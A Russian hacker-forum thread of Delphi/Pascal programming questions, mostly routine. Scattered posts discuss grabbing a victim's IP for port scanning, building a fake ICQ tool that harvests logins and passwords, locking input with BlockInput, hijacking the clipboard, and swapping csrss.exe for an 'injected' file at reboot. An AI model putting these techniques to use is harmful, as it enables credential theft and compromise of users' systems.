[Delphi]/[Pascal] Задай вопрос, получи ответ

[slesh]

2 alexey-m ну пробегись по всем пикселям картинки и в массив запоменай те цвета которые уже были. и потом посчитаеш кол-во элементов полученного массива

2 axe89 этот метот уже как лет 6 непашет. т.е. JS в картинке при всём желании не выпонилнится. Да и почти все почтовики бликируют JS внутри письма. если смотриш через WEB

[tosip]

Нужно создать VPN средствами Delphi, подскажите как? Желательно компонент и код! Заранее Спасибо!

[wolmer]

axe89

Смотря что нужно, кукисы естественно не получится получить но вот IP получить наверняка получится (при условии что почтовик не заблочит нашу картинку (о JS щас вообще молчу))
Получение IP жертвы (причем чтобы был IP актуальным для скана портов) многое значит для специалиста в компьютерном мире (не закрытые порты, через них же можно порутать тачку (переполнение буффера, нуллевая сессия (если какой либо порт авторизует юзера для доступа) и т.п.))

Вопрос по TreeView

Есть дерево, в котором лежит еще одно дерево
Как узнать integer первого дерева опираясь на integer второго дерева (integer второго дерева известен)(то есть узнать родителя второго дерева)

[Nullsleep]

TreeView1.Items.Item[0].Item[3]......Count;
вместо многоточия пиши Item[индекс] столько раз сколько нужно

[wolmer]

TreeView1.Items.Item[0].Item[3]......Count;
Это количество дерев/елементов в указаном дереве, но никак не решение моей проблемы (подкоректировал вопрос, чтобы понятнее было)

[Nullsleep]

Ты пиши попонятнее, я отвечу) Что такое "число дерева поддерева"

[wolmer]

Ты пиши попонятнее, я отвечу) Что такое "число дерева поддерева"
Да хорошо я вас понял :) Согласен не разборчего написал, исправил

Ответ на #4516, нуллслип, ладно, другой ответит

Ответ на #4517, еще точнее перефразировал!

[Nullsleep]

Ну, если ты имеешь ввиду нахождение индекса дерева по его названию, то циклом попробуй. Или я опять не так понял(

[Nullsleep]

const
s = 'element';
var
n, i: Integer;
begin
n := 0;
for i := 0 to TreeView1.Items[0].Item[1].Count-1 do
if TreeView1.Items[0].Item[1].Item[i].Text = s then
begin
n := i;
Break;
end;
end;

[Seregakz]

Народ подскажите как сделать чтобы на объекте tackbar небыло фокуса никогда!??? (пунктирная линния вокруг него)

[slesh]

VPN сервер ты никогда не создаш средствами делфи. а если и создаш то это будет ожас как тупить. Ставь OpenVPN и не мучайся.

[tosip]

НАДО создать новое соединение vpn в windows!
(Сетевые подключения->Новое подключение->VPN)!

Нашел пример (или даже реализацию)
http://forum.antichat.ru/showthread.php?p=654948
Тока там компонента нет, по ссылке http://slil.ru/25692156 файл удален!

[Nullsleep]

wolmer, у меня последний вариант)

TreeView1.Items[0].Item[1].Item[1].Parent.Index;

[Seregakz]

slesh, нук подскажи)

как дороботать чтобы куки посылать?)) если в заголовке куки посылать то хз почему по когда снифаю они не передаются!

function DownloadFile(const from_, to_: string): boolean;
var
hs, url: HInternet;
buff: array[1..1024] of Byte;
buff_length: DWORD;
f: file;
sAppName: string;
begin
Result:=False;
sAppName := ExtractFileName(Application.ExeName);
hs:=InternetOpen(PChar(sAppName),
INTERNET_OPEN_TYPE_PRECONFIG, nil, nil, 0);
try
url:=InternetOpenURL(hs, PChar(from_), nil, 0, 0, 0);
try
AssignFile(f, to_);
Rewrite(f,1);
repeat
InternetReadFile(url, @buff, SizeOf(buff), buff_length);
BlockWrite(f, buff, buff_length);
until
buff_length=0;
CloseFile(f);
Result:=True;
finally
InternetCloseHandle(url);
end;
finally
InternetCloseHandle(hs);
end;
end;

[slesh]

2 InternetOpenUrl автоматом сама учитывает куки полученные на предыдущих запросах.
ЧТобы отключить это юзается предпоследний параметр - Flag = INTERNET_FLAG_NO_COOKIES
также в этой функции 3-й параметр - адрес буфера где хранятся дополнительные хидеры.
а четрветый параметр - длинна их.
Вот их и юзай. т.е. сам составляй дополнительныйт ихер типа
Cookie: xxxxxx

[Uname-A]

Приветствую всех
Есть процедура, в ней очень много кода.
Необходимо при нажатии на кнопку(например) - тут же остановить выполнение этой процедуры
Метод if stop=true then exit; не предлагать(кода ужастно много не писать же после каждой строчки это...)
Пример того что я хочю можно увидеть в потоках
тоесть процедура thread.Terminate;
К сожелению потоки тоже использовать немогу....

[desTiny]

по какой пичине не устраивает поток либо фибер?
так в голову приходят только совсем идиотские мысли вроде установить обработчик исключения и как-нибудь его вызвать. например, код в памяти переписать ) или... короче, это - извращения

[Uname-A]

по какой пичине не устраивает поток либо фибер?
так в голову приходят только совсем идиотские мысли вроде установить обработчик исключения и как-нибудь его вызвать. например, код в памяти переписать ) или... короче, это - извращения
Вообще у меня почемуто с потоками программа работала через раз... (программа каждую секунду меняет картинку в TImage)
Сча вродь написал эту часть программы с нуля в другом проекте все заработало=)

Впринципе этот вопрос можно считать решонным=)

Ну и раз уж я тут =))) спрошу про варнинги
Override method timeisout.execute should match case of ancestor TThread.Execute

никак немогу убрать эту ошибку=(

Symbol 'Suspend' is deprecated

Ошибка показывает что процедура Suspend устарела
Но чет немогу найти альтурнативу ей...

[desTiny]

ели раз в секунду - то делай SetTimer и KillTimer

[Uname-A]

я сказал образно =) Таймеры в программе испльзуются Но в данном случае он неприемлим Идея программы уже продуманна(не одну неделю думал...), программа написана, работает и осталось только улучшить некоторые её части(из за того что процедура завершается несразу происходит "проскок" цыфр(картинок цыфр))
Ответь пожалуйста насчёт ворнингов=)

[desTiny]

ну первый ворнинг гласит, что лучше было бы, если б описание перегруженного метода совпадало 1 в 1 с предком, то есть с точностью до названий параметров и регистра букв.

с Suspend не знаю. ни в 7ой, ни в 2009-ой делфе никаких "Deprecated" ворнингов не вижу.

[Uname-A]

ну первый ворнинг гласит, что лучше было бы, если б описание перегруженного метода совпадало 1 в 1 с предком, то есть с точностью до названий параметров и регистра букв.

с Suspend не знаю. ни в 7ой, ни в 2009-ой делфе никаких "Deprecated" ворнингов не вижу.
Вот блин=) А я думаю почему ошибка на ровном месте=)

Ну насчёт Suspend в делфи 2010(Rad Studio 2010) нашол
About Suspend and Resume. POSIX does not support suspending/resuming a thread.
Suspending a thread is considerd dangerous since it is not guaranteed where the
thread would be suspend. It might be holding a lock, mutex or it might be inside
a critical section. In order to simulate it in Linux we've used signals. To
suspend, a thread SIGSTOP is sent and to resume, SIGCONT is sent. Note that this
is Linux only i.e. according to POSIX if a thread receives SIGSTOP then the
entire process is stopped. However Linux doesn't entirely exhibit the POSIX-mandated
behaviour. If and when it fully complies with the POSIX standard then suspend
and resume won't work.

А вообще как остановить поток? без Suspend(+ потом Terminate) поток не останавливается...

ну вообще впринципе работа в никсах невожна..
просто хотелось бы избавиться от замечаний.

[Seregakz]

2 InternetOpenUrl автоматом сама учитывает куки полученные на предыдущих запросах.
ЧТобы отключить это юзается предпоследний параметр - Flag = INTERNET_FLAG_NO_COOKIES
также в этой функции 3-й параметр - адрес буфера где хранятся дополнительные хидеры.
а четрветый параметр - длинна их.
Вот их и юзай. т.е. сам составляй дополнительныйт ихер типа
Cookie: xxxxxx

Спс огромный всё пучком) а в данном примере: _http://forum.antichat.ru/showpost.php?p=1321076&postcount=19

не подскажеш где юзать флаг INTERNET_FLAG_NO_COOKIES ?)

предпоследний параметр HttpOpenRequest ?)

[slesh]

предпоследний параметр. в HttpOpenRequest

[Seregakz]

предпоследний параметр. в HttpOpenRequest

ещё вопросик! мб ты сталкивался! если допустим сервак сильно нагружен (сайт долго грузится) и прога падает в висняк, нельзяли както вылечить? :confused:

[slesh]

смотря какой метод юзаеш. Если сокеты, то можно ставить таймаут на connect и на recv на уровне сокетов. Если юзаеш чтото большее типа WinInet то можно запускать в потоке и через WaitForSingleObject ждать определенное время завершения потока. Если WaitForSingleObject вернул статус таймаута, то закрываеш хендлы wininet'овские и прибиваешь поток.

[Seregakz]

смотря какой метод юзаеш. Если сокеты, то можно ставить таймаут на connect и на recv на уровне сокетов. Если юзаеш чтото большее типа WinInet то можно запускать в потоке и через WaitForSingleObject ждать определенное время завершения потока. Если WaitForSingleObject вернул статус таймаута, то закрываеш хендлы wininet'овские и прибиваешь поток.

не совсем дошло) вот исходничок)

function mp3(cto: string): string;
var F: File;
hSession, hURL: HInternet;
Buffer: array[1..1024] of Byte;
err: boolean;
ResumePos,BufferLen,SumSize: DWORD;
iii: integer; kyda:string;
header, data:string;
begin

kyda:='1.mp3';
SumSize:=0; ResumePos:=0;
AssignFile (F,kyda);
IF FileExists (kyda) then
begin
Reset(f,1);
ResumePos:=FileSize(F);
Seek(F, FileSize(F));
end else ReWrite(f,1);
form1.NADO:= TRUE;
hSession:= InternetOpen('MP3 Down',PRE_CONFIG_INTERNET_ACCESS,nil,nil,0);

Data:='Content-Type: application/x-www-form-urlencoded'#10;

hURL := InternetOpenURL(hSession,PChar(cto),pchar(data),le ngth(data),INTERNET_FLAG_NO_COOKIES,0);

WaitForSingleObject(InternetOpenURL.hProcess, INFINITE);
InternetQueryDataAvailable(hURL, SumSize,0,0);
if ResumePos>0 then
begin
InternetSetFilePointer(hURL,ResumePos,nil,0,0);
end;
REPEAT
err:= InternetReadFile(hURL, @Buffer,SizeOf(Buffer),BufferLen);
IF err= false then
begin
Result := 'err';
exit;
end
else
begin
///
end;
BlockWrite(f, Buffer, BufferLen);
Application.Processmessages;
UNTIL (BufferLen= 0) Or (form1.NADO= FALSE);
Result := 'ok';
end;

[wolmer]

Есть к примеру такой html код:

<html>
<head><title>Отпарсите меня пожалуйста :-)</title></head>
<body>
<a href="http://yandex.ru/">Го на яндекс</a>
<a href="http://google.ru/">Го на гугл</a>
<a href="http://yahoo.com/">Го на яху</a>
</body>
</html>

Как отпарсить этот код с помощью регулярки?
Именно нужно в мемо добавить то что в href стоит
Мемо должен такой получится после парсинга

http://yandex.ru/
http://google.ru/
http://yahoo.com/

Знаю как парсить один результат а как несколько парсить не знаю :-(

[ZirroCool]

wolmer,собстно вот:
http://forum.vingrad.ru/articles/topic-213075.html

[Пуховой]

wolmer, ежели использовать RegExpr... Применительно к вашему примеру (s - ваш текст).

function extract (const ainputstring : string; buf : string) : tstringlist;
var
r : tregexpr;
f : tstringlist;
begin
f := tstringlist.create;
r := tregexpr.create;
try
r.expression := buf;
if r.exec (ainputstring) then
repeat
f.add (r.match [0]);
until not r.execnext;
finally r.free;
end;
result := f;
end;

function to_memo (s : widestring) : integer;
begin
if extract (s, 'http[^"]*[^"]') <> nil then form1.memo1.lines.addstrings (extract (s, 'http[^"]*[^"]'));
result := 1;
end;

[Хотшок]

А где в Dephi 7 компонент NMFTP

[Пуховой]

Хотшок, его там нет. Используйте альтернативу - TidFTP, вкладка indy clients.

[Nightmarе]

А где в Dephi 7 компонент NMFTP
его можно установить используя компоненты FastNet для делфаря 7

[yfet]

не соединяется tiсqcliеnt. посоветуйте что делать?

[s0l_ir0n]

не соединяется tiсqcliеnt. посоветуйте что делать?
Обновить/сменить компонент
Попытаться соединяться на login.oscar.aol.com или на IPшник 64.12.202.116

[StalkerKill]

нужно в delphi, на некоторое время выключить (полностью) клаву, я уже мозг себе весь сломал, может кто помочь, это мне нужно для софта: http://fuckav.ru/showthread.php?t=204

[Пуховой]

procedure BlockInput; external 'user32.dll';

procedure Block;
asm
push 1
call BlockInput
end;

procedure UnBlock;
asm
push 0
call BlockInput
end;
Найдено в DelphiWorld. Блокировка клавиатуры и мыши, снимается нажатием ctrl+alt+del либо вызовом UnBlock; .

Проверил - работает (Vista, XP virt.)

[yfet]

какой компонент посоветуете для отправки смс в Россию???

[intNet]

yfet, нет таких.
Вроде протокол MRA позволяет такое, на форуме была такая статья, правда на асм.

[wolmer]

Что-то не могу понять как скачать файл из интернета по средствам Winsock, я знаю что там что-то с recv+while надо делать но что точно не знаю (могу ошибаться)

Вообщем помогите по этому вопросу

[s.p.a.m]

Как одной кнопке прописать две процедуры? То есть нажимаешь один раз на кнопку выполняется одна процедура, ещё раз нажимаешь - вторая..

[Dosia]

Можно переменную какую - нибудь задать типа boolean (например). Можно вызывать процедуру в зависимости от свойства caption кнопки.

If button1.caption = 'Go' then begin
GO(param1,param2);
button1.caption :='Stop';
end
else
begin
STOP(param1,param2);
button1.caption :='Go';
end;

[Fepsis]

Как одной кнопке прописать две процедуры? То есть нажимаешь один раз на кнопку выполняется одна процедура, ещё раз нажимаешь - вторая..
Создай переменную-переключатель процедур, и по нажатию кнопки проверяй его значение...
Если значение = 1 , то выполняй первую процедуру и переключателю присваивай значение = 2, если = 2 выполняй вторую процедуру, а переключателю присваивай значение 1...

[wolmer]

Под завязку :-)
unit Unit1;

interface

uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls;

type
TForm1 = class(TForm)
Button1: TButton;
procedure Button1Click(Sender: TObject);
procedure FormCreate(Sender: TObject);
private
function Clicks(chto,nachto:integer): boolean;
{ Private declarations }
public
{ Public declarations }
end;

var
Form1: TForm1;
i:integer;

implementation

{$R *.dfm}


function TForm1.Clicks(chto,nachto:integer): boolean;
begin
if Frac(chto/nachto)<>0 then
begin
result:=false;
end
else
begin
result:=true;
end;
end;


procedure TForm1.Button1Click(Sender: TObject);
begin
i:=i+1;

if Clicks(i,2) then
begin
showmessage('Это вторая процедура');
end
else
begin
showmessage('Это первая процедура');
end;
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
i:=0;
end;

end.

i - счетчик скоко юзер кликнул по кнопке

(думаю разберешся сам с гуглом, а если нет то пиши в личку, прокоменчу строки которые надо)

[alexey-m]

Как одной кнопке прописать две процедуры? То есть нажимаешь один раз на кнопку выполняется одна процедура, ещё раз нажимаешь - вторая..
Используй свойство Tag
К примеру
Procedure form.button1Click(....)
begin
If button1.tag = 0 then procedure1;
if button1.tag = 1 then procedure2;

A в этих процедурах меняй тэг на обратный

[Sysem56]

как скопировать файлы определенного расширения, размера при включении программы все скопированные файлы закидывает в одну папку ?

[alexey-m]

как скопировать файлы определенного расширения, размера при включении программы все скопированные файлы закидывает в одну папку ?
немного непонятен вопрос можно пояснее =)

[DimkO]

не судите за,может быть,сильно легкий вопрос,но можно ли как то в делфи привязатся к командам из cmd?например выкл комп?

[WVBR]

DimkO, ShellExecute из модуля ShellApi

ShellExecute(Handle, 'open', 'cmd.exe', 'shutdown -s', nil, SW_SHOWNORMAL);

[Flenov]

Ребят, не пинайте.
Я знаю что я разгильдяй, и обязуюсь купить и прочитать книжку по реестру XP, но вопрос требует быстрого решения.


Подскажите, в каком разделе реестра можно отредактировать эту менюшку.
Ну или хотя бы где почитать про это можно?


http://smitt89.narod.ru/ScreenMenu.jpg


Гуглить пробовал, но ничего не нашёл.

[=Zeus=]

HKEY_CLASSES_ROOT\Directory
Там создай папку shell
В той папке папку с именем которое хочешь чтоб было в меню.
Например
HKEY_CLASSES_ROOT\Directory\shell\ОЛОЛО!!!
П.С В гугле этого полно.

[alexey-m]

Пример регистрирует расширение файла(.myext) - файлы этого типа будут открываться
приложением MyApp.Exe. Также регистрируется одно действие (action) по умолчанию
для файлов этого типа и два дополнительных пункта контекстного меню, связанного с
этим типом файлов.

uses
Registry;

procedure TForm1.Button1Click(Sender: TObject);
var
R : TRegIniFile;
begin
R := TRegIniFile.Create('');
with R do
begin
RootKey := HKEY_CLASSES_ROOT;
WriteString('.myext','','MyExt');
WriteString('MyExt','','Some description of MyExt files');
WriteString('MyExt\DefaultIcon','','C:\MyApp.Exe,0 ');
WriteString('MyExt\Shell','','This_Is_Our_Default_ Action');
WriteString('MyExt\Shell\First_Action',
'','This is our first action');
WriteString('MyExt\Shell\First_Action\command','',
'C:\MyApp.Exe /LotsOfParamaters %1');
WriteString('MyExt\Shell\This_Is_Our_Default_Actio n','',
'This is our default action');
WriteString('MyExt\Shell\This_Is_Our_Default_Actio n\command',
'','C:\MyApp.Exe %1');
WriteString('MyExt\Shell\Second_Action',
'','This is our second action');
WriteString('MyExt\Shell\Second_Action\command',
'','C:\MyApp.Exe /TonsOfParameters %1');
Free;
end;
end;

[wolmer]

Что-то не могу понять как скачать файл из интернета по средствам Winsock, я знаю что там что-то с recv+while надо делать но что точно не знаю (могу ошибаться)

Вообщем помогите по этому вопросу
Ап :)

[SuX]

Можно ли сделать простым кодом Delphi, программы hitprom ?

p.p. hitprom написана на Delphi!

[Flenov]

Что-то не могу понять как скачать файл из интернета по средствам Winsock, я знаю что там что-то с recv+while надо делать но что точно не знаю (могу ошибаться)

Вообщем помогите по этому вопросу

Да.
Мне тоже интересен этот вопрос.
Вчастности, какой идёт запрос, файл принимать как массив символов или байт?
Как быть с заголовом ответа?
И опять же, как можно запросить чсть файла (ну я имею в виду, если файл большой, как качать его по частям)

[slesh]

если нужно качать целеком файл, то не нужно ничего придумывать UrlDownloadToFile есть.
Если хотите изврата, то берете любой исходник для посылки HTTP запроса и приема данных. Тут их пару десятков есть.
ТОлько данные приминаете и сразу кидаете в файла.

насчет по частям - это зависит от того поддерживает это сервак или нет.
Но всё это реализуется ввиде определенного поля в HTTP заголовке (Range)

[/Boom\]

У меня компоненты лежат на первой форме, сделал вторую форму написал код с компонентами первой теперь ругается.Что делать как привезать формы друг другу?

[Dosia]

Unit Unit2; //Форма которая использует компоненты первой формы

...

implementation

uses Unit1; //Форма с компонентами

Пример:
unit Unit1;

interface

uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls;

type
TForm1 = class(TForm)
Edit1: TEdit;
private
{ Private declarations }
public
{ Public declarations }
end;

var
Form1: TForm1;

implementation

{$R *.dfm}

end.

unit Unit2;

interface

uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs;

type
TForm2 = class(TForm)
procedure FormCreate(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;

var
Form2: TForm2;

implementation

uses Unit1;

{$R *.dfm}

procedure TForm2.FormCreate(Sender: TObject);
begin
form1.edit1.text :='simple example';
end;

end.

Форма 2 при загрузке установит значение свойства text компонента edit1 в 'simple example'.

[Flenov]

если нужно качать целеком файл, то не нужно ничего придумывать UrlDownloadToFile есть.
Если хотите изврата, то берете любой исходник для посылки HTTP запроса и приема данных. Тут их пару десятков есть.
ТОлько данные приминаете и сразу кидаете в файла.

насчет по частям - это зависит от того поддерживает это сервак или нет.
Но всё это реализуется ввиде определенного поля в HTTP заголовке (Range)

В чистом виде ты нам не ответил.
Если не сложно, исходник в студию.
На WinSock 2 пожалуйста.
Со всеми делами, заголовком, массивом, как ты там сказал полем Range, ну и тд

[/Boom\]

Сделал поиск по БД.
Вот код:

var ffield, fvalue: string;
opts : tlocateoptions;
begin
ffield := 'Фамилия';
fvalue := 'Зайцев';
opts := [locaseinsensitive];

if not adotable1.locate(ffield, fvalue, opts) then
showmessage(fvalue + ' not found in ' + ffield);

В общем мне надо сделать Поиск по номерму телелефона или фамилии.Так сказать телефонный справочник.Этот код просто указывает на найденную фамилию,как сделать чтоб результаты поиска выводились в другой BDgird и не только один вариант а несколько.Допустим Петров Ваня, Пестров Гоша ...

[[Abbath]]

Наконец дошли руки задать вопрос 2 дня искал на него ответ но так и не нашет ,
знаю sin3v раньше на сайте своем писал как это делать но его сайт прикрыли.
ну так к вопросу:
сделал фейк на делфи рейтинга приходят на асю логи и пассы вот хочю его в билдер запихать а как это сделать незнаю вот прошу описать этот процесс либо хотьт сылку дать на инфу заранее спс!

[PIRAMIDHEAD]

Не давно начал заниматься дэлфи7 и воот уже появился жезненно важный вопрос, как сохранить написанную мной программу на ПК, тобиш запускаемую по двойному клику!!
ps. не судите строго я новечек в этом деле

[wolmer]

Не давно начал заниматься дэлфи7 и воот уже появился жезненно важный вопрос, как сохранить написанную мной программу на ПК, тобиш запускаемую по двойному клику!!
ps. не судите строго я новечек в этом деле
Сохраняешь проект то есть File--->Save Project as (сверху вкладки над вкладками компонентов), как сохранил запускай программу, как запустил она скомпилировалась и доступна по тому месту где ты сохранил проект! (имя файла будет Project.exe) :)

[PIRAMIDHEAD]

нее не, ты не понял... я иммею ввиду сохранение программы, а не проекта!
т.е выполненный мною проект я хочу превратить в уже рабочию пусть и первую программку, которая запускается по двойному клику с расширением .exe

[astonilya]

нее не, ты не понял... я иммею ввиду сохранение программы, а не проекта!
т.е выполненный мною проект я хочу превратить в уже рабочию пусть и первую программку, которая запускается по двойному клику с расширением .exe
нажми на значёк выполнения программы, и она сохранится вто же папке, где и исходники

[Flenov]

Ctrl+F9 нажми, она создастся (но не запустится) с именем твоего проекта и расширением exe

Этот процес называется компиляцией.

Советую сначала компилировать, а потом запускать.
Ну это чисто моё мнение.

[wolmer]

т.е выполненный мною проект я хочу превратить в уже рабочию пусть и первую программку, которая запускается по двойному клику с расширением .exe
Я так и понял! Проделай мои действия и ты приятно удивишся!

[Flenov]

Тока дошло.
Ты видимо не сохранил проект, а хочешь сразу получить exe-шник.
Советую сначала всёже проект сохранить в какую-нить папку...

Ну а если уж очень не хочется этого делать, проект у тебя лежит тут: "Папка куды ты ставил делфу\Projects\" обычно он называется Project1.exe

[[Abbath]]

ОТВЕТТЕ ПЛЗ мне оч срочно надо !!!
Наконец дошли руки задать вопрос 2 дня искал на него ответ но так и не нашет ,
знаю sin3v раньше на сайте своем писал как это делать но его сайт прикрыли.
ну так к вопросу:
сделал фейк на делфи рейтинга приходят на асю логи и пассы вот хочю его в билдер запихать а как это сделать незнаю вот прошу описать этот процесс либо хотьт сылку дать на инфу заранее спс!

[akahaos]

т.е. тебе надо написать билдер на делфе?
вот почитай мож пожет:
http://forum.0day.kiev.ua/index.php?showtopic=118246&mode=threaded&pid=1404241

[PIRAMIDHEAD]

astonilya, wolmer спасибо!!

[[Abbath]]

спс канеш но нес овсем там в Winhex описано как изменить текст а вот ф-ию отправки изменить там неописано не капли народ кто может помочь ?? с меня ++++!!!!

[Nizhegorodets]

в паскале извлекаю квадратный корень из числа опертатором sqrt
вот что получается
sqrt(4)=2.0000000000000E+00
sqrt(100)=1.00000000000000+01

но ведь квадратный корень из 100 не 1 , а 10...
как сделать так ,чтобы паскаль делил как обычный калькулятор, те. выделял целую часть???
----------------------------------------
о все сам нашел

[[Abbath]]

если не ошибаюсь sqr(4,1,1) или деток акто так там короче 2 значения кол-во знаков после запятой

[intNet]

Nizhegorodets,

writeln(sqrt(100):2:2);
{ writeln(sqrt(100):0:0); если до целого }

[Nullsleep]

Round(sqrt(100));

[EndLeSSDre@M]

Int(sqrt(100))

[0ldbi4]

Всем доброго времени.

Помогите. Как перехватить копирование\вставку в буфер\изнего,

И каким образом занести данные в буфер обмена?

[0ldbi4]

Ещё вопрос неподскажите ли алгоритм прощета данного примера:
A=G^m mod P;многие поняли это процесс шифрования в RSA, DSA и подобных.


Проблемма длина чисел в процессе, даже extanded помоему 64 символа, а в шифровании количество обычно не менее ~200 и сильно более.

Для справки X^m mod N = X^a mod N * X^b mod N * X^c mod N.


Заранее спасибо за информацию.

P.S. Delphi

[Seregakz]

Народ кто вкурсах как сделать таймер на винапи? или типа того! чтобы не юзать сам компонент

[intNet]

Seregakz, API функции SetTimer, KillTimer.

[Sangeles]

Помогите пожалуйста...
Я пишу на Delphi что-то подобие бота... как мне сделать так что бы при нажатии Button выполнялось аналогичное нажатие, только на WEB странице

[wolmer]

Помогите пожалуйста...
Я пишу на Delphi что-то подобие бота... как мне сделать так что бы при нажатии Button выполнялось аналогичное нажатие, только на WEB странице
Описание протокола HTTP + компонент IdHttp (он лежит на вкладке Indy Clients)

[Sangeles]

спасибо wolmer

[Sokolik]

Требуеться осуществить поиск файла по дате и времени создания и последующее его удаление. При поиске не должны учитываться секунды во времени создания файла. За полный рабочий код плачу $10. Кто знает как решить данную задачу стучите в ICQ 117845 или отписывайте здесь.

[Nullsleep]

0ldbi4

uses ClipBrd;

type
private
procedure WMCHANGECBCHAIN(var Msg: TWMChangeCBChain);
message WM_CHANGECBCHAIN;
procedure WMDRAWCLIPBOARD(var Msg: TMessage);
message WM_DRAWCLIPBOARD;

var
Form1: TForm1;
ClipbrdNext: HWND;

implementation

{$R *.dfm}

procedure TForm1.WMCHANGECBCHAIN(var Msg: TWMChangeCBChain);
begin
if Msg.Remove = ClipbrdNext then ClipbrdNext := Msg.Next;
SendMessage(ClipbrdNext, Msg.Msg, Msg.Remove, Msg.Next);
end;

procedure TForm1.WMDRAWCLIPBOARD(var Msg: TMessage);
begin
//воруем буфер
Memo1.Lines.Add(Clipboard.AsText+#13#10'----------');
//заносим в буфер произвольный текст
Clipboard.SetTextBuf('antichat');
SendMessage(ClipbrdNext, Msg.Msg, Msg.WParam, Msg.LParam);
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
ClipbrdNext := SetClipboardViewer(Handle);
end;

[НTL]

Как в WebBrowser задать свое расширение экрана(1024*768), а потом добавить ползунки по осям X,Y

А кстати еще надо передать куки в WebBrowser

[slesh]

Требуеться осуществить поиск файла по дате и времени создания и последующее его удаление. При поиске не должны учитываться секунды во времени создания файла. За полный рабочий код плачу $10. Кто знает как решить данную задачу стучите в ICQ 117845 или отписывайте здесь.


ничего сверхестественного. Мог бы и сам навоять. 5 минут писать не более. С учетом того что в 5005 статей есть рекурсивный поиск файлов.
Всё через жопу но примерно должно работать ))



procedure GetAllFiles(mask: string);
var
search: TSearchRec;
directory: string;
dt:TDateTime;
st:_SYSTEMTIME;
begin
directory := ExtractFilePath(mask);

if FindFirst(mask, $23, search) = 0 then
begin
repeat
dt := FileDateToDateTime(search.Time);
DateTimeToSystemTime(dt, st);
if (st.wYear = 2009) and // проверяем дату и время файла.
(st.wMonth = 10) and
(st.wDay = 2) and
(st.wHour = 17) and
(st.wMinute = 12) then DeleteFile(directory + search.Name); // если совпала то удалим.
// вообще можно и по красивее и правильнее написать, то влом и времяни нет
until FindNext(search) <> 0;
end;

if FindFirst(directory + '*.*', faDirectory, search) = 0 then
begin
repeat
if ((search.Attr and faDirectory) = faDirectory) and (search.Name[1] <> '.') then
GetAllFiles(directory + search.Name + '\' + ExtractFileName(mask));
until FindNext(search) <> 0;
FindClose(search);
end;
end;



procedure TForm1.Button1Click(Sender: TObject);
begin
GetAllFiles('u:\*.txt'); // на диске U: найти все txt файлы
end;

end.

[slesh]

кидаеш на форму ScrollBox (вкладка Additional) его делаешь нужного размера
В него кидаешь WebBrowser с размерами 1024*768.
Куки ты просто так не поставишь туда. Разве что если чтото через js мутить

[nonamez]

program fail;
var F:text; x,y:integer; s:string; c:boolean;
begin
Assign(F,'D:\pr1.txt');
reset(F);
read(F);
x:=0;
while pos(' ',s)<>0 do begin
c:=((s[1])=pos(' ',s) and (s[2])<>pos(' ',s));
if c:=true
then x:=x+1;
delete (s,1,1);
else delete (s,1,1);
end;
end;
WriteLn(x);
Readln;
readln;
end.

На паскале,не хочет компиться. На выходе должна считать количество слов в файле

[ZdezBilYa]

c:=((s[1])=pos(' ',s) and (s[2])<>pos(' ',s));
if c:=true


ошибка в операторе присваивания и проверка на истинность неверна

[nonamez]

Эта не я писал,корешу просто надо))) Кто-нить может готовый вариант сотворить,повторю тз: Береться фаил и в нем считаеться количество слов.

С меня плюсы.

[Dosia]

Проще вроде некуда .... ;D


program KOLICHESTVO_SLOV_V_FAILE;

var
CountSlov:integer;
f:text;
strA:string;

begin
Assign(f,'D:\pr1.txt');
reset(f);
read(f,strA);
close(f);
countslov:=0;
while pos(' ',strA) <> 0 do begin
if copy(strA,1,pos(' ',strA)) <> ' ' then begin
CountSlov:=CountSlov+1;
end;
delete(stra,1,pos(' ',strA));
end;
if strA<> '' then CountSlov:=CountSlov+1;

writeln('Kolichestvo slov v faile = ',CountSlov);
readln;
end.


Результат работы:

input.txt:
Hello world hellow world 1 2 3 hello

Kolichestvo slov v faile = 8

input.txt:


Kolichestvo slov v faile = 0

input.txt
root @ local host

Kolichestvo slov v faile = 4

[nonamez]

слу.а мона на более простом языке,примерно то,что я в первом посте указал

[nonamez]

такая фигня, он пробел как слово читает

[WVBR]

Эта не я писал,корешу просто надо))) Кто-нить может готовый вариант сотворить,повторю тз: Береться фаил и в нем считаеться количество слов.

С меня плюсы.

uses crt;
Var f:text;
i,sl:integer;
s:char;
wrd :string;
begin
assign(f,'77/pr1.txt');
reset(f);
s:=' ';
sl:=0;
while not eof(f) do
begin
readln(f,wrd);
i:=1;
While i<=length(wrd) do
begin
if wrd[i]<>' ' then sl:=sl+1;
while (wrd[i]<>' ') and (i<=length(wrd)) do inc(i);
inc(i)
end;
end;
close(f);
writeln('word: ',sl);
readkey;
End.

[ErrorNeo]

program Project1;

var
F:textfile;
nubmer_of_words,i:integer;
str:string;

begin
Assign(F,'c:\pr1.txt');
reset(F);

nubmer_of_words:=0;
while not EOF(f) do
begin
readln(f,str);
//если в строке видим пробел, а перед ним - НЕ пробел, значит +1 слово
for i:=1 to length(str)
do if ((str[i]=' ') and (str[i-1]<>' ')) then inc(nubmer_of_words);
//если последний символ в строке - не пробел значит +1 слово
if str[length(str)]<>' ' then inc(nubmer_of_words);
end;
closefile(f);
WriteLn(nubmer_of_words);
Readln;
end.

[ZET36]

Вот интересует возможность изменения системных файлов. Просто перезаписать файл неполучается, так как он уже запущен, но видел такую реализацию после перезагрузки системы. Если можно пример?

[Sangeles]

Помогите пожалуйста...
Я пишу на Delphi что-то подобие бота... как мне сделать так что бы при нажатии Button выполнялось аналогичное нажатие, только на WEB странице
К примеру кнопка регистрации :)

[s0l_ir0n]

Вот интересует возможность изменения системных файлов. Просто перезаписать файл неполучается, так как он уже запущен, но видел такую реализацию после перезагрузки системы. Если можно пример?
program Project1;

{$APPTYPE CONSOLE}

uses
Windows;

begin
MoveFileExA('C:\csrss_injected.exe', //Наш файл
'c:\windows\system32\dllcache\csrss.exe', //Заблокированый файл
MOVEFILE_DELAY_UNTIL_REBOOT); //Windows NT only: The function does not move the file until the operating system is restarted. The system moves the file immediately after AUTOCHK is executed, but before creating any paging files. Consequently, this parameter enables the function to delete paging files from previous startups.

MoveFileExA('C:\csrss_injected.exe', //Наш файл
'c:\windows\system32\csrss.exe', //Заблокированый файл
